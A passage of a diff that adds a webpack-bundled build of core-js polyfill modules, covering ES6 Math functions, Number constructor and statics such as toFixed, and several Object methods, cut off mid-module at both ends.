function atanh(x) { + return (x = +x) == 0 ? x : Math.log((1 + x) / (1 - x)) / 2; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.cbrt.js": +/*!*******************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.cbrt.js ***! + \*******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.9 Math.cbrt(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var sign = __webpack_require__(/*! ./_math-sign */ "./node_modules/core-js/modules/_math-sign.js"); + +$export($export.S, 'Math', { + cbrt: function cbrt(x) { + return sign(x = +x) * Math.pow(Math.abs(x), 1 / 3); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.clz32.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.clz32.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.11 Math.clz32(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Math', { + clz32: function clz32(x) { + return (x >>>= 0) ? 31 - Math.floor(Math.log(x + 0.5) * Math.LOG2E) : 32; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.cosh.js": +/*!*******************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.cosh.js ***! + \*******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.12 Math.cosh(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var exp = Math.exp; + +$export($export.S, 'Math', { + cosh: function cosh(x) { + return (exp(x = +x) + exp(-x)) / 2; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.expm1.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.expm1.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.14 Math.expm1(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $expm1 = __webpack_require__(/*! ./_math-expm1 */ "./node_modules/core-js/modules/_math-expm1.js"); + +$export($export.S + $export.F * ($expm1 != Math.expm1), 'Math', { expm1: $expm1 }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.fround.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.fround.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.16 Math.fround(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Math', { fround: __webpack_require__(/*! ./_math-fround */ "./node_modules/core-js/modules/_math-fround.js") }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.hypot.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.hypot.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.17 Math.hypot([value1[, value2[, … ]]]) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var abs = Math.abs; + +$export($export.S, 'Math', { + hypot: function hypot(value1, value2) { // eslint-disable-line no-unused-vars + var sum = 0; + var i = 0; + var aLen = arguments.length; + var larg = 0; + var arg, div; + while (i < aLen) { + arg = abs(arguments[i++]); + if (larg < arg) { + div = larg / arg; + sum = sum * div * div + 1; + larg = arg; + } else if (arg > 0) { + div = arg / larg; + sum += div * div; + } else sum += arg; + } + return larg === Infinity ? Infinity : larg * Math.sqrt(sum); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.imul.js": +/*!*******************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.imul.js ***! + \*******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.18 Math.imul(x, y) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $imul = Math.imul; + +// some WebKit versions fails with big numbers, some has wrong arity +$export($export.S + $export.F * __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { + return $imul(0xffffffff, 5) != -5 || $imul.length != 2; +}), 'Math', { + imul: function imul(x, y) { + var UINT16 = 0xffff; + var xn = +x; + var yn = +y; + var xl = UINT16 & xn; + var yl = UINT16 & yn; + return 0 | xl * yl + ((UINT16 & xn >>> 16) * yl + xl * (UINT16 & yn >>> 16) << 16 >>> 0); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.log10.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.log10.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.21 Math.log10(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Math', { + log10: function log10(x) { + return Math.log(x) * Math.LOG10E; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.log1p.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.log1p.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.20 Math.log1p(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Math', { log1p: __webpack_require__(/*! ./_math-log1p */ "./node_modules/core-js/modules/_math-log1p.js") }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.log2.js": +/*!*******************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.log2.js ***! + \*******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.22 Math.log2(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Math', { + log2: function log2(x) { + return Math.log(x) / Math.LN2; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.sign.js": +/*!*******************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.sign.js ***! + \*******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.28 Math.sign(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Math', { sign: __webpack_require__(/*! ./_math-sign */ "./node_modules/core-js/modules/_math-sign.js") }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.sinh.js": +/*!*******************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.sinh.js ***! + \*******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.30 Math.sinh(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var expm1 = __webpack_require__(/*! ./_math-expm1 */ "./node_modules/core-js/modules/_math-expm1.js"); +var exp = Math.exp; + +// V8 near Chromium 38 has a problem with very small numbers +$export($export.S + $export.F * __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { + return !Math.sinh(-2e-17) != -2e-17; +}), 'Math', { + sinh: function sinh(x) { + return Math.abs(x = +x) < 1 + ? (expm1(x) - expm1(-x)) / 2 + : (exp(x - 1) - exp(-x - 1)) * (Math.E / 2); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.tanh.js": +/*!*******************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.tanh.js ***! + \*******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.33 Math.tanh(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var expm1 = __webpack_require__(/*! ./_math-expm1 */ "./node_modules/core-js/modules/_math-expm1.js"); +var exp = Math.exp; + +$export($export.S, 'Math', { + tanh: function tanh(x) { + var a = expm1(x = +x); + var b = expm1(-x); + return a == Infinity ? 1 : b == Infinity ? -1 : (a - b) / (exp(x) + exp(-x)); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.trunc.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.trunc.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.34 Math.trunc(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Math', { + trunc: function trunc(it) { + return (it > 0 ? Math.floor : Math.ceil)(it); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.number.constructor.js": +/*!****************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.number.constructor.js ***! + \****************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var global = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js"); +var has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js"); +var cof = __webpack_require__(/*! ./_cof */ "./node_modules/core-js/modules/_cof.js"); +var inheritIfRequired = __webpack_require__(/*! ./_inherit-if-required */ "./node_modules/core-js/modules/_inherit-if-required.js"); +var toPrimitive = __webpack_require__(/*! ./_to-primitive */ "./node_modules/core-js/modules/_to-primitive.js"); +var fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js"); +var gOPN = __webpack_require__(/*! ./_object-gopn */ "./node_modules/core-js/modules/_object-gopn.js").f; +var gOPD = __webpack_require__(/*! ./_object-gopd */ "./node_modules/core-js/modules/_object-gopd.js").f; +var dP = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js").f; +var $trim = __webpack_require__(/*! ./_string-trim */ "./node_modules/core-js/modules/_string-trim.js").trim; +var NUMBER = 'Number'; +var $Number = global[NUMBER]; +var Base = $Number; +var proto = $Number.prototype; +// Opera ~12 has broken Object#toString +var BROKEN_COF = cof(__webpack_require__(/*! ./_object-create */ "./node_modules/core-js/modules/_object-create.js")(proto)) == NUMBER; +var TRIM = 'trim' in String.prototype; + +// 7.1.3 ToNumber(argument) +var toNumber = function (argument) { + var it = toPrimitive(argument, false); + if (typeof it == 'string' && it.length > 2) { + it = TRIM ? it.trim() : $trim(it, 3); + var first = it.charCodeAt(0); + var third, radix, maxCode; + if (first === 43 || first === 45) { + third = it.charCodeAt(2); + if (third === 88 || third === 120) return NaN; // Number('+0x1') should be NaN, old V8 fix + } else if (first === 48) { + switch (it.charCodeAt(1)) { + case 66: case 98: radix = 2; maxCode = 49; break; // fast equal /^0b[01]+$/i + case 79: case 111: radix = 8; maxCode = 55; break; // fast equal /^0o[0-7]+$/i + default: return +it; + } + for (var digits = it.slice(2), i = 0, l = digits.length, code; i < l; i++) { + code = digits.charCodeAt(i); + // parseInt parses a string to a first unavailable symbol + // but ToNumber should return NaN if a string contains unavailable symbols + if (code < 48 || code > maxCode) return NaN; + } return parseInt(digits, radix); + } + } return +it; +}; + +if (!$Number(' 0o1') || !$Number('0b1') || $Number('+0x1')) { + $Number = function Number(value) { + var it = arguments.length < 1 ? 0 : value; + var that = this; + return that instanceof $Number + // check on 1..constructor(foo) case + && (BROKEN_COF ? fails(function () { proto.valueOf.call(that); }) : cof(that) != NUMBER) + ? inheritIfRequired(new Base(toNumber(it)), that, $Number) : toNumber(it); + }; + for (var keys = __webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js") ? gOPN(Base) : ( + // ES3: + 'MAX_VALUE,MIN_VALUE,NaN,NEGATIVE_INFINITY,POSITIVE_INFINITY,' + + // ES6 (in case, if modules with ES6 Number statics required before): + 'EPSILON,isFinite,isInteger,isNaN,isSafeInteger,MAX_SAFE_INTEGER,' + + 'MIN_SAFE_INTEGER,parseFloat,parseInt,isInteger' + ).split(','), j = 0, key; keys.length > j; j++) { + if (has(Base, key = keys[j]) && !has($Number, key)) { + dP($Number, key, gOPD(Base, key)); + } + } + $Number.prototype = proto; + proto.constructor = $Number; + __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js")(global, NUMBER, $Number); +} + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.number.epsilon.js": +/*!************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.number.epsilon.js ***! + \************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.1.2.1 Number.EPSILON +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Number', { EPSILON: Math.pow(2, -52) }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.number.is-finite.js": +/*!**************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.number.is-finite.js ***! + \**************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.1.2.2 Number.isFinite(number) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var _isFinite = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js").isFinite; + +$export($export.S, 'Number', { + isFinite: function isFinite(it) { + return typeof it == 'number' && _isFinite(it); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.number.is-integer.js": +/*!***************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.number.is-integer.js ***! + \***************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.1.2.3 Number.isInteger(number) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Number', { isInteger: __webpack_require__(/*! ./_is-integer */ "./node_modules/core-js/modules/_is-integer.js") }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.number.is-nan.js": +/*!***********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.number.is-nan.js ***! + \***********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.1.2.4 Number.isNaN(number) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Number', { + isNaN: function isNaN(number) { + // eslint-disable-next-line no-self-compare + return number != number; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.number.is-safe-integer.js": +/*!********************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.number.is-safe-integer.js ***! + \********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.1.2.5 Number.isSafeInteger(number) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var isInteger = __webpack_require__(/*! ./_is-integer */ "./node_modules/core-js/modules/_is-integer.js"); +var abs = Math.abs; + +$export($export.S, 'Number', { + isSafeInteger: function isSafeInteger(number) { + return isInteger(number) && abs(number) <= 0x1fffffffffffff; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.number.max-safe-integer.js": +/*!*********************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.number.max-safe-integer.js ***! + \*********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.1.2.6 Number.MAX_SAFE_INTEGER +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Number', { MAX_SAFE_INTEGER: 0x1fffffffffffff }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.number.min-safe-integer.js": +/*!*********************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.number.min-safe-integer.js ***! + \*********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.1.2.10 Number.MIN_SAFE_INTEGER +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Number', { MIN_SAFE_INTEGER: -0x1fffffffffffff }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.number.parse-float.js": +/*!****************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.number.parse-float.js ***! + \****************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $parseFloat = __webpack_require__(/*! ./_parse-float */ "./node_modules/core-js/modules/_parse-float.js"); +// 20.1.2.12 Number.parseFloat(string) +$export($export.S + $export.F * (Number.parseFloat != $parseFloat), 'Number', { parseFloat: $parseFloat }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.number.parse-int.js": +/*!**************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.number.parse-int.js ***! + \**************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $parseInt = __webpack_require__(/*! ./_parse-int */ "./node_modules/core-js/modules/_parse-int.js"); +// 20.1.2.13 Number.parseInt(string, radix) +$export($export.S + $export.F * (Number.parseInt != $parseInt), 'Number', { parseInt: $parseInt }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.number.to-fixed.js": +/*!*************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.number.to-fixed.js ***! + \*************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var toInteger = __webpack_require__(/*! ./_to-integer */ "./node_modules/core-js/modules/_to-integer.js"); +var aNumberValue = __webpack_require__(/*! ./_a-number-value */ "./node_modules/core-js/modules/_a-number-value.js"); +var repeat = __webpack_require__(/*! ./_string-repeat */ "./node_modules/core-js/modules/_string-repeat.js"); +var $toFixed = 1.0.toFixed; +var floor = Math.floor; +var data = [0, 0, 0, 0, 0, 0]; +var ERROR = 'Number.toFixed: incorrect invocation!'; +var ZERO = '0'; + +var multiply = function (n, c) { + var i = -1; + var c2 = c; + while (++i < 6) { + c2 += n * data[i]; + data[i] = c2 % 1e7; + c2 = floor(c2 / 1e7); + } +}; +var divide = function (n) { + var i = 6; + var c = 0; + while (--i >= 0) { + c += data[i]; + data[i] = floor(c / n); + c = (c % n) * 1e7; + } +}; +var numToString = function () { + var i = 6; + var s = ''; + while (--i >= 0) { + if (s !== '' || i === 0 || data[i] !== 0) { + var t = String(data[i]); + s = s === '' ? t : s + repeat.call(ZERO, 7 - t.length) + t; + } + } return s; +}; +var pow = function (x, n, acc) { + return n === 0 ? acc : n % 2 === 1 ? pow(x, n - 1, acc * x) : pow(x * x, n / 2, acc); +}; +var log = function (x) { + var n = 0; + var x2 = x; + while (x2 >= 4096) { + n += 12; + x2 /= 4096; + } + while (x2 >= 2) { + n += 1; + x2 /= 2; + } return n; +}; + +$export($export.P + $export.F * (!!$toFixed && ( + 0.00008.toFixed(3) !== '0.000' || + 0.9.toFixed(0) !== '1' || + 1.255.toFixed(2) !== '1.25' || + 1000000000000000128.0.toFixed(0) !== '1000000000000000128' +) || !__webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { + // V8 ~ Android 4.3- + $toFixed.call({}); +})), 'Number', { + toFixed: function toFixed(fractionDigits) { + var x = aNumberValue(this, ERROR); + var f = toInteger(fractionDigits); + var s = ''; + var m = ZERO; + var e, z, j, k; + if (f < 0 || f > 20) throw RangeError(ERROR); + // eslint-disable-next-line no-self-compare + if (x != x) return 'NaN'; + if (x <= -1e21 || x >= 1e21) return String(x); + if (x < 0) { + s = '-'; + x = -x; + } + if (x > 1e-21) { + e = log(x * pow(2, 69, 1)) - 69; + z = e < 0 ? x * pow(2, -e, 1) : x / pow(2, e, 1); + z *= 0x10000000000000; + e = 52 - e; + if (e > 0) { + multiply(0, z); + j = f; + while (j >= 7) { + multiply(1e7, 0); + j -= 7; + } + multiply(pow(10, j, 1), 0); + j = e - 1; + while (j >= 23) { + divide(1 << 23); + j -= 23; + } + divide(1 << j); + multiply(1, 1); + divide(2); + m = numToString(); + } else { + multiply(0, z); + multiply(1 << -e, 0); + m = numToString() + repeat.call(ZERO, f); + } + } + if (f > 0) { + k = m.length; + m = s + (k <= f ? '0.' + repeat.call(ZERO, f - k) + m : m.slice(0, k - f) + '.' + m.slice(k - f)); + } else { + m = s + m; + } return m; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.number.to-precision.js": +/*!*****************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.number.to-precision.js ***! + \*****************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js"); +var aNumberValue = __webpack_require__(/*! ./_a-number-value */ "./node_modules/core-js/modules/_a-number-value.js"); +var $toPrecision = 1.0.toPrecision; + +$export($export.P + $export.F * ($fails(function () { + // IE7- + return $toPrecision.call(1, undefined) !== '1'; +}) || !$fails(function () { + // V8 ~ Android 4.3- + $toPrecision.call({}); +})), 'Number', { + toPrecision: function toPrecision(precision) { + var that = aNumberValue(this, 'Number#toPrecision: incorrect invocation!'); + return precision === undefined ? $toPrecision.call(that) : $toPrecision.call(that, precision); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.assign.js": +/*!***********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.assign.js ***! + \***********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.3.1 Object.assign(target, source) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S + $export.F, 'Object', { assign: __webpack_require__(/*! ./_object-assign */ "./node_modules/core-js/modules/_object-assign.js") }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.create.js": +/*!***********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.create.js ***! + \***********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +// 19.1.2.2 / 15.2.3.5 Object.create(O [, Properties]) +$export($export.S, 'Object', { create: __webpack_require__(/*! ./_object-create */ "./node_modules/core-js/modules/_object-create.js") }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.define-properties.js": +/*!**********************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.define-properties.js ***! + \**********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +// 19.1.2.3 / 15.2.3.7 Object.defineProperties(O, Properties) +$export($export.S + $export.F * !__webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js"), 'Object', { defineProperties: __webpack_require__(/*! ./_object-dps */ "./node_modules/core-js/modules/_object-dps.js") }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.define-property.js": +/*!********************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.define-property.js ***! + \********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +// 19.1.2.4 / 15.2.3.6 Object.defineProperty(O, P, Attributes) +$export($export.S + $export.F * !__webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js"), 'Object', { defineProperty: __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js").f }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.freeze.js": +/*!***********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.freeze.js ***! + \***********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.5 Object.freeze(O) +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var meta = __webpack_require__(/*! ./_meta */ "./node_modules/core-js/modules/_meta.js").onFreeze; + +__webpack_require__(/*! ./_object-sap */ "./node_modules/core-js/modules/_object-sap.js")('freeze', function ($freeze) { + return function freeze(it) { + return $freeze && isObject(it) ? $freeze(meta(it)) : it; + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.get-own-property-descriptor.js": +/*!********************************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.get-own-property-descriptor.js ***! + \********************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.6 Object.getOwnPropertyDescriptor(O, P) +var toIObject = __webpack_require__(/*! ./_to-iobject */ "./node_modules/core-js/modules/_to-iobject.js"); +var $getOwnPropertyDescriptor = __webpack_require__(/*! ./_object-gopd */ "./node_modules/core-js/modules/_object-gopd.js").f; + +__webpack_require__(/*! ./_object-sap */ "./node_modules/core-js/modules/_object-sap.js")('getOwnPropertyDescriptor', function () { + return function getOwnPropertyDescriptor(it, key) { + return $getOwnPropertyDescriptor(toIObject(it), key); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.get-own-property-names.js": +/*!***************************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.get-own-property-names.js ***! + \***************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.7 Object.getOwnPropertyNames(O) +__webpack_require__(/*! ./_object-sap */ "./node_modules/core-js/modules/_object-sap.js")('getOwnPropertyNames', function () { + return __webpack_require__(/*! ./_object-gopn-ext */ "./node_modules/core-js/modules/_object-gopn-ext.js").f; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.get-prototype-of.js": +/*!*********************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.get-prototype-of.js ***! + \*********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.9 Object.getPrototypeOf(O) +var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js"); +var $getPrototypeOf = __webpack_require__(/*! ./_object-gpo */ "./node_modules/core-js/modules/_object-gpo.js"); + +__webpack_require__(/*! ./_object-sap */ "./node_modules/core-js/modules/_object-sap.js")('getPrototypeOf', function () { + return function getPrototypeOf(it) { + return $getPrototypeOf(toObject(it)); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.is-extensible.js": +/*!******************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.is-extensible.js ***! + \******************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.11 Object.isExtensible(O) +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); + +__webpack_require__(/*! ./_object-sap */ "./node_modules/core-js/modules/_object-sap.js")('isExtensible', function ($isExtensible) { + return function isExtensible(it) { + return isObject(it) ? $isExtensible ? $isExtensible(it) : true : false; + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.is-frozen.js": +/*!**************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.is-frozen.js ***! + \**************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.12 Object.isFrozen(O) +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); + +__webpack_require__(/*! ./_object-sap */ "./node_modules/core-js/modules/_object-sap.js")('isFrozen', function ($isFrozen) { + return function isFrozen(it) { + return isObject(it) ? $isFrozen ? $isFrozen(it) : false : true; + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.is-sealed.js": +/*!**************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.is-sealed.js ***! + \**************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.13 Object.isSealed(O) +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); + +__webpack_require__(/*! ./_object-sap */ "./node_modules/core-js/modules/_object-sap.js")('isSealed', function ($isSealed) { + return function isSealed(it) { + return isObject(it) ? $isSealed ? $isSealed(it) : false : true; + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.is.js": +/*!*******************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.is.js ***! + \*******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.3.10 Object.is(value1, value2) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +$export($export.S, 'Object', { is: __webpack_require__(/*! ./_same-value */ "./node_modules/core-js/modules/_same-value.js") }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.keys.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.keys.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.14 Object.keys(O) +var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js"); +var $keys = __webpack_require__(/*! ./_object-keys */ "./node_modules/core-js/modules/_object-keys.js"); + +__webpack_require__(/*! ./_object-sap */ "./node_modules/core-js/modules/_object-sap.js")('keys', function () { + return function keys(it) { + return $keys(toObject(it)); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.prevent-extensions.js": +/*!***********************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.prevent-extensions.js ***! + \***********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.15 Object.preventExtensions(O) +var isObject = 